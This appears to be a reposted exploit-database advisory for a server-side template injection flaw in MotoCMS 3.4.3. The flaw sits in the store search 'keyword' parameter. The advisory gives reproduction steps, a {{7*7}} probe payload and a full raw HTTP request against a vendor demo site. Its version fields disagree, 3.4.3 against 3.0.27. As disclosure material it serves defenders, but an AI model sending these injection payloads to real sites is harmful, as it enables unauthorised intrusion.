Motocms version 3.4.3 serverside template injection (ssti) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-05-31 | Type : webapps | Platform : multiple
This exploit / vulnerability Motocms version 3.4.3 serverside template injection (ssti) is for educational purposes only and if it is used you will do on your own risk!

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# Title: MotoCMS Version 3.4.3 - Server-Side Template Injection (SSTI)
# Author: tmrswrr
# Date: 31/05/2023
# Vendor: https://www.motocms.com
# Link: https://www.motocms.com/website-templates/demo/189526.html
# Vulnerable Version(s): MotoCMS 3.0.27


## Description
MotoCMS Version 3.4.3 Store Category Template was discovered to contain a Server-Side Template
Injection (SSTI) vulnerability via the keyword parameter.

## Steps to Reproduce
1. Open the target URL: https://template189526.motopreview.com/
2. Write payload here : https://template189526.motopreview.com/store/category/search/?page=1&limit=36&keyword={{7*7}}
3. You will be see result is 49



Vuln Url : https://template189526.motopreview.com/store/category/search/?page=1&limit=36&keyword={{7*7}}


GET /store/category/search/?page=&limit=&keyword={{7*7}} HTTP/1.1
Host: template189526.motopreview.com
Cookie: PHPSESSID=7c0qgdvsehaf1a2do6s0bcl4p0; 9b7029e0bd3be0d41ebefd47d9f5ae46_session-started=1685536759239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://template189526.motopreview.com/store/category/search/?keyword=%7B%7B3*3%7D%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close